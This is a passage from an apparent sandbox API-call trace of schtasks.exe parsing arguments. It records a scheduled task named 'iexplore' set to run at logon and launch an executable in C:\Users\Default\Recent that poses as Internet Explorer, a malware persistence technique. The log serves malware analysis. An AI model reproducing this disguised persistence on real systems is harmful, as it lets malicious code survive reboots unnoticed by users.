_Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.115] GetProcessHeap () returned 0x180000 [0152.115] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19c1c0) returned 1 [0152.115] GetProcessHeap () returned 0x180000 [0152.115] RtlReAllocateHeap (Heap=0x180000, Flags=0xc, Ptr=0x19c1c0, Size=0x14) returned 0x19c220 [0152.115] lstrlenW (lpString="create") returned 6 [0152.115] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.116] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|create|") returned 8 [0152.116] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|create|") returned 8 [0152.116] lstrlenW (lpString="|create|") returned 8 [0152.116] lstrlenW (lpString="|create|") returned 8 [0152.116] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0152.116] SetLastError (dwErrCode=0x0) [0152.116] SetLastError (dwErrCode=0x0) [0152.116] SetLastError (dwErrCode=0x0) [0152.116] lstrlenW (lpString="/tn") returned 3 [0152.116] lstrlenW (lpString="-/") returned 2 [0152.116] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.116] lstrlenW (lpString="?") returned 1 [0152.116] lstrlenW (lpString="?") returned 1 [0152.116] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.116] lstrlenW (lpString="tn") returned 2 [0152.116] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.116] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|?|") returned 3 [0152.116] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tn|") returned 4 [0152.116] lstrlenW (lpString="|?|") returned 3 [0152.116] lstrlenW (lpString="|tn|") returned 4 [0152.116] SetLastError (dwErrCode=0x490) [0152.116] lstrlenW (lpString="create") returned 6 [0152.116] lstrlenW (lpString="create") returned 6 [0152.116] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.116] lstrlenW (lpString="tn") returned 2 [0152.117] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.117] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|create|") returned 8 [0152.117] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tn|") returned 4 [0152.117] lstrlenW (lpString="|create|") returned 8 [0152.117] lstrlenW (lpString="|tn|") returned 4 [0152.117] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0152.117] SetLastError (dwErrCode=0x490) [0152.117] lstrlenW (lpString="delete") returned 6 [0152.117] lstrlenW (lpString="delete") returned 6 [0152.117] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.117] lstrlenW (lpString="tn") returned 2 [0152.117] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.117] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|delete|") returned 8 [0152.117] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tn|") returned 4 [0152.117] lstrlenW (lpString="|delete|") returned 8 [0152.117] lstrlenW (lpString="|tn|") returned 4 [0152.117] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0152.117] SetLastError (dwErrCode=0x490) [0152.117] lstrlenW (lpString="query") returned 5 [0152.117] lstrlenW (lpString="query") returned 5 [0152.117] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.117] lstrlenW (lpString="tn") returned 2 [0152.117] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.117] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|query|") returned 7 [0152.118] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tn|") returned 4 [0152.118] lstrlenW (lpString="|query|") returned 7 [0152.118] lstrlenW (lpString="|tn|") returned 4 [0152.118] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0152.118] SetLastError (dwErrCode=0x490) [0152.118] lstrlenW (lpString="change") returned 6 [0152.118] lstrlenW (lpString="change") returned 6 [0152.118] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.118] lstrlenW (lpString="tn") returned 2 [0152.118] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.118] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|change|") returned 8 [0152.118] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tn|") returned 4 [0152.118] lstrlenW (lpString="|change|") returned 8 [0152.118] lstrlenW (lpString="|tn|") returned 4 [0152.118] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0152.118] SetLastError (dwErrCode=0x490) [0152.118] lstrlenW (lpString="run") returned 3 [0152.118] lstrlenW (lpString="run") returned 3 [0152.118] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.118] lstrlenW (lpString="tn") returned 2 [0152.118] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.118] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|run|") returned 5 [0152.118] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tn|") returned 4 [0152.118] lstrlenW (lpString="|run|") returned 5 [0152.118] lstrlenW (lpString="|tn|") returned 4 [0152.119] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0152.119] SetLastError (dwErrCode=0x490) [0152.119] lstrlenW (lpString="end") returned 3 [0152.119] lstrlenW (lpString="end") returned 3 [0152.119] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.119] lstrlenW (lpString="tn") returned 2 [0152.119] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.119] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|end|") returned 5 [0152.119] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tn|") returned 4 [0152.119] lstrlenW (lpString="|end|") returned 5 [0152.119] lstrlenW (lpString="|tn|") returned 4 [0152.119] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0152.119] SetLastError (dwErrCode=0x490) [0152.119] lstrlenW (lpString="showsid") returned 7 [0152.119] lstrlenW (lpString="showsid") returned 7 [0152.119] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.119] GetProcessHeap () returned 0x180000 [0152.119] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19c220) returned 1 [0152.119] GetProcessHeap () returned 0x180000 [0152.119] RtlReAllocateHeap (Heap=0x180000, Flags=0xc, Ptr=0x19c220, Size=0x16) returned 0x19c220 [0152.119] lstrlenW (lpString="tn") returned 2 [0152.119] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.119] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|showsid|") returned 9 [0152.119] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tn|") returned 4 [0152.120] lstrlenW (lpString="|showsid|") returned 9 [0152.120] lstrlenW (lpString="|tn|") returned 4 [0152.120] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0152.120] SetLastError (dwErrCode=0x490) [0152.120] SetLastError (dwErrCode=0x490) [0152.120] SetLastError (dwErrCode=0x0) [0152.120] lstrlenW (lpString="/tn") returned 3 [0152.120] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0152.120] SetLastError (dwErrCode=0x490) [0152.120] SetLastError (dwErrCode=0x0) [0152.120] lstrlenW (lpString="/tn") returned 3 [0152.120] GetProcessHeap () returned 0x180000 [0152.120] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x8) returned 0x19c1c0 [0152.120] GetProcessHeap () returned 0x180000 [0152.120] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cbd0 [0152.120] SetLastError (dwErrCode=0x0) [0152.120] SetLastError (dwErrCode=0x0) [0152.120] lstrlenW (lpString="iexplore") returned 8 [0152.120] lstrlenW (lpString="-/") returned 2 [0152.120] StrChrIW (lpStart="-/", wMatch=0x69) returned 0x0 [0152.120] SetLastError (dwErrCode=0x490) [0152.120] SetLastError (dwErrCode=0x490) [0152.120] SetLastError (dwErrCode=0x0) [0152.120] lstrlenW (lpString="iexplore") returned 8 [0152.120] StrChrIW (lpStart="iexplore", wMatch=0x3a) returned 0x0 [0152.120] SetLastError (dwErrCode=0x490) [0152.120] SetLastError (dwErrCode=0x0) [0152.120] lstrlenW (lpString="iexplore") returned 8 [0152.120] GetProcessHeap () returned 0x180000 [0152.120] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x12) returned 0x19d4c0 [0152.121] GetProcessHeap () returned 0x180000 [0152.121] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cc00 [0152.121] SetLastError (dwErrCode=0x0) [0152.121] SetLastError (dwErrCode=0x0) [0152.121] lstrlenW (lpString="/sc") returned 3 [0152.121] lstrlenW (lpString="-/") returned 2 [0152.121] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.121] lstrlenW (lpString="?") returned 1 [0152.121] lstrlenW (lpString="?") returned 1 [0152.121] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.121] lstrlenW (lpString="sc") returned 2 [0152.121] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.121] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|?|") returned 3 [0152.121] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|sc|") returned 4 [0152.121] lstrlenW (lpString="|?|") returned 3 [0152.121] lstrlenW (lpString="|sc|") returned 4 [0152.121] SetLastError (dwErrCode=0x490) [0152.121] lstrlenW (lpString="create") returned 6 [0152.121] lstrlenW (lpString="create") returned 6 [0152.121] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.121] lstrlenW (lpString="sc") returned 2 [0152.121] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.121] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|create|") returned 8 [0152.121] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|sc|") returned 4 [0152.121] lstrlenW (lpString="|create|") returned 8 [0152.122] lstrlenW (lpString="|sc|") returned 4 [0152.122] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0152.122] SetLastError (dwErrCode=0x490) [0152.122] lstrlenW (lpString="delete") returned 6 [0152.122] lstrlenW (lpString="delete") returned 6 [0152.122] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.122] lstrlenW (lpString="sc") returned 2 [0152.122] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.122] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|delete|") returned 8 [0152.122] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|sc|") returned 4 [0152.122] lstrlenW (lpString="|delete|") returned 8 [0152.122] lstrlenW (lpString="|sc|") returned 4 [0152.122] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0152.122] SetLastError (dwErrCode=0x490) [0152.122] lstrlenW (lpString="query") returned 5 [0152.122] lstrlenW (lpString="query") returned 5 [0152.122] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.122] lstrlenW (lpString="sc") returned 2 [0152.122] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.122] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|query|") returned 7 [0152.122] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|sc|") returned 4 [0152.122] lstrlenW (lpString="|query|") returned 7 [0152.122] lstrlenW (lpString="|sc|") returned 4 [0152.122] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0152.123] SetLastError (dwErrCode=0x490) [0152.123] lstrlenW (lpString="change") returned 6 [0152.123] lstrlenW (lpString="change") returned 6 [0152.123] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.123] lstrlenW (lpString="sc") returned 2 [0152.123] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.123] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|change|") returned 8 [0152.123] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|sc|") returned 4 [0152.123] lstrlenW (lpString="|change|") returned 8 [0152.123] lstrlenW (lpString="|sc|") returned 4 [0152.123] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0152.123] SetLastError (dwErrCode=0x490) [0152.123] lstrlenW (lpString="run") returned 3 [0152.123] lstrlenW (lpString="run") returned 3 [0152.123] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.123] lstrlenW (lpString="sc") returned 2 [0152.123] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.123] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|run|") returned 5 [0152.123] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|sc|") returned 4 [0152.123] lstrlenW (lpString="|run|") returned 5 [0152.123] lstrlenW (lpString="|sc|") returned 4 [0152.123] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0152.124] SetLastError (dwErrCode=0x490) [0152.124] lstrlenW (lpString="end") returned 3 [0152.124] lstrlenW (lpString="end") returned 3 [0152.124] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.124] lstrlenW (lpString="sc") returned 2 [0152.124] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.124] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|end|") returned 5 [0152.124] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|sc|") returned 4 [0152.124] lstrlenW (lpString="|end|") returned 5 [0152.124] lstrlenW (lpString="|sc|") returned 4 [0152.124] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0152.124] SetLastError (dwErrCode=0x490) [0152.124] lstrlenW (lpString="showsid") returned 7 [0152.124] lstrlenW (lpString="showsid") returned 7 [0152.124] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.124] lstrlenW (lpString="sc") returned 2 [0152.124] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.124] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|showsid|") returned 9 [0152.124] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|sc|") returned 4 [0152.124] lstrlenW (lpString="|showsid|") returned 9 [0152.124] lstrlenW (lpString="|sc|") returned 4 [0152.124] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0152.124] SetLastError (dwErrCode=0x490) [0152.124] SetLastError (dwErrCode=0x490) [0152.124] SetLastError (dwErrCode=0x0) [0152.124] lstrlenW (lpString="/sc") returned 3 [0152.125] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0152.125] SetLastError (dwErrCode=0x490) [0152.125] SetLastError (dwErrCode=0x0) [0152.125] lstrlenW (lpString="/sc") returned 3 [0152.125] GetProcessHeap () returned 0x180000 [0152.125] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x8) returned 0x19dc90 [0152.125] GetProcessHeap () returned 0x180000 [0152.125] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cc30 [0152.125] SetLastError (dwErrCode=0x0) [0152.125] SetLastError (dwErrCode=0x0) [0152.125] lstrlenW (lpString="ONLOGON") returned 7 [0152.125] lstrlenW (lpString="-/") returned 2 [0152.125] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0152.125] SetLastError (dwErrCode=0x490) [0152.125] SetLastError (dwErrCode=0x490) [0152.125] SetLastError (dwErrCode=0x0) [0152.125] lstrlenW (lpString="ONLOGON") returned 7 [0152.125] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0152.125] SetLastError (dwErrCode=0x490) [0152.125] SetLastError (dwErrCode=0x0) [0152.125] lstrlenW (lpString="ONLOGON") returned 7 [0152.125] GetProcessHeap () returned 0x180000 [0152.125] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x10) returned 0x19d4e0 [0152.125] GetProcessHeap () returned 0x180000 [0152.125] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cc60 [0152.125] SetLastError (dwErrCode=0x0) [0152.125] SetLastError (dwErrCode=0x0) [0152.125] lstrlenW (lpString="/tr") returned 3 [0152.125] lstrlenW (lpString="-/") returned 2 [0152.125] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.125] lstrlenW (lpString="?") returned 1 [0152.125] lstrlenW (lpString="?") returned 1 [0152.125] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.126] lstrlenW (lpString="tr") returned 2 [0152.126] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.126] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|?|") returned 3 [0152.126] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tr|") returned 4 [0152.126] lstrlenW (lpString="|?|") returned 3 [0152.126] lstrlenW (lpString="|tr|") returned 4 [0152.126] SetLastError (dwErrCode=0x490) [0152.126] lstrlenW (lpString="create") returned 6 [0152.126] lstrlenW (lpString="create") returned 6 [0152.126] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.126] lstrlenW (lpString="tr") returned 2 [0152.126] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.126] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|create|") returned 8 [0152.126] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tr|") returned 4 [0152.126] lstrlenW (lpString="|create|") returned 8 [0152.126] lstrlenW (lpString="|tr|") returned 4 [0152.126] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0152.126] SetLastError (dwErrCode=0x490) [0152.126] lstrlenW (lpString="delete") returned 6 [0152.126] lstrlenW (lpString="delete") returned 6 [0152.126] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.126] lstrlenW (lpString="tr") returned 2 [0152.126] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.126] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|delete|") returned 8 [0152.126] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tr|") returned 4 [0152.126] lstrlenW (lpString="|delete|") returned 8 [0152.126] lstrlenW (lpString="|tr|") returned 4 [0152.126] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0152.127] SetLastError (dwErrCode=0x490) [0152.127] lstrlenW (lpString="query") returned 5 [0152.127] lstrlenW (lpString="query") returned 5 [0152.127] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.127] lstrlenW (lpString="tr") returned 2 [0152.127] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.127] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|query|") returned 7 [0152.127] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tr|") returned 4 [0152.127] lstrlenW (lpString="|query|") returned 7 [0152.127] lstrlenW (lpString="|tr|") returned 4 [0152.127] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0152.127] SetLastError (dwErrCode=0x490) [0152.127] lstrlenW (lpString="change") returned 6 [0152.127] lstrlenW (lpString="change") returned 6 [0152.127] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.127] lstrlenW (lpString="tr") returned 2 [0152.127] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.127] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|change|") returned 8 [0152.127] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tr|") returned 4 [0152.127] lstrlenW (lpString="|change|") returned 8 [0152.127] lstrlenW (lpString="|tr|") returned 4 [0152.127] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0152.127] SetLastError (dwErrCode=0x490) [0152.127] lstrlenW (lpString="run") returned 3 [0152.127] lstrlenW (lpString="run") returned 3 [0152.127] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.127] lstrlenW (lpString="tr") returned 2 [0152.127] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.128] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|run|") returned 5 [0152.128] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tr|") returned 4 [0152.128] lstrlenW (lpString="|run|") returned 5 [0152.128] lstrlenW (lpString="|tr|") returned 4 [0152.128] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0152.128] SetLastError (dwErrCode=0x490) [0152.128] lstrlenW (lpString="end") returned 3 [0152.128] lstrlenW (lpString="end") returned 3 [0152.128] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.128] lstrlenW (lpString="tr") returned 2 [0152.128] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.128] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|end|") returned 5 [0152.128] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tr|") returned 4 [0152.128] lstrlenW (lpString="|end|") returned 5 [0152.128] lstrlenW (lpString="|tr|") returned 4 [0152.128] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0152.128] SetLastError (dwErrCode=0x490) [0152.128] lstrlenW (lpString="showsid") returned 7 [0152.128] lstrlenW (lpString="showsid") returned 7 [0152.128] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.128] lstrlenW (lpString="tr") returned 2 [0152.128] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.128] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|showsid|") returned 9 [0152.128] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13efd8 | out: _Buffer="|tr|") returned 4 [0152.128] lstrlenW (lpString="|showsid|") returned 9 [0152.128] lstrlenW (lpString="|tr|") returned 4 [0152.128] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0152.128] SetLastError (dwErrCode=0x490) [0152.128] SetLastError (dwErrCode=0x490) [0152.128] SetLastError (dwErrCode=0x0) [0152.129] lstrlenW (lpString="/tr") returned 3 [0152.129] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0152.129] SetLastError (dwErrCode=0x490) [0152.129] SetLastError (dwErrCode=0x0) [0152.129] lstrlenW (lpString="/tr") returned 3 [0152.129] GetProcessHeap () returned 0x180000 [0152.129] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x8) returned 0x19dcb0 [0152.129] GetProcessHeap () returned 0x180000 [0152.129] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x20) returned 0x19cc90 [0152.129] SetLastError (dwErrCode=0x0) [0152.129] SetLastError (dwErrCode=0x0) [0152.129] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.129] lstrlenW (lpString="-/") returned 2 [0152.129] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0152.129] SetLastError (dwErrCode=0x490) [0152.129] SetLastError (dwErrCode=0x490) [0152.129] SetLastError (dwErrCode=0x0) [0152.129] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.129] StrChrIW (lpStart="'C:\\Users\\Default\\Recent\\iexplore.exe'", wMatch=0x3a) returned=":\\Users\\Default\\Recent\\iexplore.exe'" [0152.129] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.129] GetProcessHeap () returned 0x180000 [0152.129] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19d500 [0152.129] _memicmp (_Buf1=0x19d500, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.129] GetProcessHeap () returned 0x180000 [0152.129] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0xe) returned 0x19d520 [0152.129] GetProcessHeap () returned 0x180000 [0152.130] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x18) returned 0x19d540 [0152.130] _memicmp (_Buf1=0x19d540, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.130] GetProcessHeap () returned 0x180000 [0152.130] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x50) returned 0x19dcd0 [0152.130] SetLastError (dwErrCode=0x7a) [0152.130] SetLastError (dwErrCode=0x0) [0152.130] SetLastError (dwErrCode=0x0) [0152.130] lstrlenW (lpString="'C") returned 2 [0152.130] lstrlenW (lpString="-/") returned 2 [0152.130] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0152.130] SetLastError 